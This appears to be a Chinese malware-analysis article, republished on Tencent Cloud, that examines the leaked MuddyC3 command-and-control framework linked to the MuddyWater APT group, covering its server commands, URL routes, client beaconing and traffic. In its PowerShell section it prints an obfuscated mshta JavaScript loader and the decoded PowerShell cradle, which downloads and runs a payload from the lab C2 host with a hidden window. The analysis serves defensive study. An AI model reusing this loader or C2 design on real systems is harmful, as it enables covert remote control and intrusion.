前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >污水攻击MuddyC3开源代码分析

污水攻击MuddyC3开源代码分析

作者头像
FB客服
发布2019-09-24 17:05:01
5550
发布2019-09-24 17:05:01
举报
文章被收录于专栏:FreeBufFreeBuf

前言

MuddyWater是一个伊朗威胁组织,主要针对中东、欧洲和北美国家。该组织针对的目标主要是电信,政府(IT服务)和石油部门。众多安全研究机构针对muddywater的样本进行了深入的研究。2019年6月24日,名为0xffff0800的用户在twitter上发表推文表示,其开源了污水攻击的python版代码。本文就该代码,一窥muddywater的攻击过程。

该用户在github上开源的代码有两个版本,本次我们分析的是1.0.1版本。

整体结构

MuddyC3的整体C2通信结构图如上所示:

整个通信过程有三个要素,即攻击端、C2网站和目的主机。其中C2网站指的是被攻击者拿到控制权限的web网站。C2网站可能不止一个。攻击过程中,攻击者将攻击指令以powershell代码的形式注入C2网站,被感染的目的主机主动向C2网站发送http请求,得到攻击命令,调用powershell接口执行命令。

APT攻击分三个阶段进行,分别是:(1)感染;(2)C2通信;(3)信息泄漏。本文中我们直接将恶意程序部署在目标主机上,因此感染阶段略去不提。值得注意的是,真实场景中,污水攻击感染过程通过传播宏病毒展开。目标主机感染宏病毒后会进行修改注册表等操作。

一、服务端

1.1服务端运行

运行muddyc3.py文件

需要输入ip、端口和是否需要代理输入完成后进入命令界面(见1.1.6help命令)

1.1.1 list命令

用来列举agent信息,列举结果示意如下:

1.1.2 show命令

目前尚未开发。

1.1.3 use命令

use命令后需要agent id作为参数,命令格式为:

代码语言:javascript
复制
use id

命令结果是进入id下的命令界面:

在该界面发出命令,相应命令分析见2.2.2节。以/get命令为例:

1.1.4 payload命令

payload命令列举出目前服务端程序中已有的powershell注入命令。

1.1.5 back命令

1.1.6 help命令

1.1.7 exit命令

exit命令结束客户端程序。

1.2参数分析

通过分析core.cmd.py文件,得出AGENTS字典中每个元素的结构如下:

角标

参数

归属

*

id

key值

0

ExternalIP

data

1

id

data

2

status

data

3

os

data

4

InternalIP

data

5

Arch

data

6

ComputerName

data

7

UserName

data

AGENT是一个'id:data'形式的字典,其中data格式如下:

角标

参数

0

id

1

status

2

Internal IP

3

OS

4

Arch

5

Computer Name

6

User Name

在core.webserver.py文件中,url访问功能分类如下:

编号

类别

表示方法

get/post

功能或结果

1

index

/

get

返回‘hello’

2

payload

/get

get

返回‘config/PAYLOAD()’

3

payloadc

/getc

get

返回‘toB52(config/PAYLOAD())’

4

payloadjf

/hjf

get

返回C://ProgramData下a.zip和b.ps1

5

payloadjfs

/hjfs

get

返回C://ProgramData下sct.ini

6

sct

/sct

get

返回ps1文件

7

mshta

/hta

get

返回ps1文件

8

info

/info/~

post

查询id,若不存在则在AGENTS中添加

9

download

/dl/~

post

从服务端指定路径下载文件

10

upload

/up

暂不支持该功能

11

img

/img/~

post

得到相关img

12

command

/cm/~

get

得到‘config.COMMAND[id]’中的命令

13

result

/re/~

post

得到指定id主机的data

14

modules

/md/~

post

添加模块

1.3webserver分析

运行后可以访问之前输入的C&C地址

访问index路径,即192.168.11.193:1234

访问get路径,得到payload

访问/getc路径得到payload的base64编码,另有/hjf、/hjfs路径与此相似

访问download路径

访问/info,由于info使用post包,

调整AGENTS和post请求包body结构后,结果如下:

第二次添加

访问info路径的post请求组成:

二、客户端

2.1客户端运行

python脚本中运行powershell命令,会出现安全问题

以管理员身份运行powershell,

2.2客户端流程

2.2.1访问/info

客户端开启后,首先访问/info进行注册,注册用id在本地是以随机数形式确定,然后向服务端发送post包。客户端首先向服务端询问对应id是否存在,若存在则服务端返回‘NONE’,客户端重新选取随机数进行注册直至成功。注册成功后,客户端反馈:

2.2.2访问/cm

带id访问/cm接口,访问/cm/[id],取得服务端发送的控制命令,控制命令组成如下:

编号

表示

意义

1

/get

访问/get接口

2

/getc

访问/getc接口

3

/hjf

访问/hjf接口

4

/hjfs

访问/hjfs接口

5

/sct

访问/sct接口

6

/hta

访问/hta接口

7

dl

访问/dl接口

8

/up

访问/up接口

9

/img

访问/img接口

10

/md

访问/md接口

11

其他

其他powershell可以直接执行的命令

服务端顺序发出了三个命令:

客户端取命令:

由此可见客户端取命令时按服务端下命令的顺序,一次取一个,取完之后所有命令后,再访问/cm/[id],得到的数据为空

2.2.3访问/re

客户端取出命令后执行,然后在/re/[id]接口返回执行结果。服务端的显示:

客户端的显示:

三、powershell命令分析

污水攻击的命令均以powershell方式执行,接下来我们跟随服务端给出的顺序来分析powershell命令。首先,服务端启动时,给出的网址为:

代码语言:javascript
复制
mshta http://192.168.11.193:1234/hta

访问hta:得到的js代码为:

代码语言:javascript
复制
var es = '%gk{dmFyI!~tPSJw,3dlcn~oZW-sI%1le!VjI!J5c!FzcyAtdyA-I%1jI%RWPW5ldy1vYmplY3Qg,mV0LndlYm~s[WVud@skVi5wc**4eT1,TmV0LldlYlJlcXVlc3Rd}jp$ZXRTeX~0ZW1XZWJQc**4eSgp}yRWLlBy,3h5Lk~yZWRl,nRpYW-zPVt}ZXQuQ3JlZ!Vud!lh,*~hY2hlXTo6R!VmYXVsd*~yZWRl,nRpYW-z}0lFW%gkVi5k,3du,!9hZ$~0cmluZygn[$R0c@ovLz*5Mi4-~jguMT*uMTkz}j*yMzQvZ2V0Jykp}yI7%nZhciB3MzJwcz0gR2V0T2JqZW~0{%d3[W5tZ210czon{S5$ZXQoJ1dp,jMyX1By,2~lc3~Td!Fyd$VwJyk7%nczMnBzLl~wYXduSW5zd!FuY2Vf{%k7%nczMnBzLl~o,3dX[W5k,3c9M@s{dmFyI$J0cm5@,2RlPUdld*9i[mVjd%gnd2lu,Wdtd$M6JykuR2V0{%dX[W4zMl9Qc**jZX~zJykuQ3JlYXRl{!~tL%dj}l-cJy-3MzJwcy-udW-s{Ts{';
eval(bas(es));

其中对es变量做了如下混淆:

代码语言:javascript
复制
代码语言:javascript
复制
string = replaceAll(']','=',string);
      string = replaceAll('[','a',string);
      string = replaceAll(',','b',string);
      string = replaceAll('@','D',string);
      string = replaceAll('-','x',string);
      string = replaceAll('~','N',string);
      string = replaceAll('*','E',string);
      string = replaceAll('%','C',string);
      string = replaceAll('$','H',string);
      string = replaceAll('!','G',string);
      string = replaceAll('{','K',string);
      string = replaceAll('}','O',string);
      var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
      var result     = '';
代码语言:javascript
复制
解混淆后得到的js代码如下:
代码语言:javascript
复制
var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://192.168.11.193:1234/get'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);

在powershell中执行后,向http://192.168.11.193:1234/get发get请求,得到已经存在于服务端的payload.ps1文件的内容,但是由于payload.ps1没有开源,所以powershell的解析不能继续向下进行。

四、流量分析

捕获本地流量如下:

目的端口是在服务端输入指定,源端口随机。

(本次实验中指定的目的端口为1234,源端口从9141开始,每个包累加)

五、污水攻击特点总结

5.1心跳周期

被控端定期向主控端发出get请求,查看是否有新的命令。

代码语言:javascript
复制
http://192.168.11.193:1234/cm/[id]

5.2 http请求成对出现

一次取命令对应一次命令执行结果回传。

代码语言:javascript
复制
http://192.168.11.193:1234/cm/[id]
http://192.168.11.193:1234/re/[id]

5.3云控下发powershell脚本

传统远控采取命令约定方式,主控端向被控端发送命令代码,被控端在后门代码中匹配成功然后执行。

而污水攻击不再使用命令代码,而是就地采用被控端本地现有工具powershell,将命令以高度混淆的powershell形式下发,这样做保证了样本即使被捕获,恶意活动不会暴露、C2服务器不会被溯源。

5.4可滥用web2.0网站作为信息传输中介

任何主机可以不经注册访问网站,向网站发出http请求。

污水攻击利用的web2.0网站的服务器是攻击者控制的,因此有被溯源的风险。

5.5协议:http

明文不加密。

相关链接

【1】开源代码地址:https://github.com/0xffff0800/MuddyC3v1.0.1- 【2】muddywater相关介绍:https://attack.mitre.org/groups/G0069/

*本文作者:BUPT/Yoni,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一、服务端
    • 1.1服务端运行
      • 1.2参数分析
        • 1.3webserver分析
        • 二、客户端
          • 2.1客户端运行
            • 2.2客户端流程
            • 三、powershell命令分析
            • 四、流量分析
            • 五、污水攻击特点总结
              • 5.1心跳周期
                • 5.2 http请求成对出现
                  • 5.3云控下发powershell脚本
                    • 5.4可滥用web2.0网站作为信息传输中介
                      • 5.5协议:http
                      • 相关链接
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档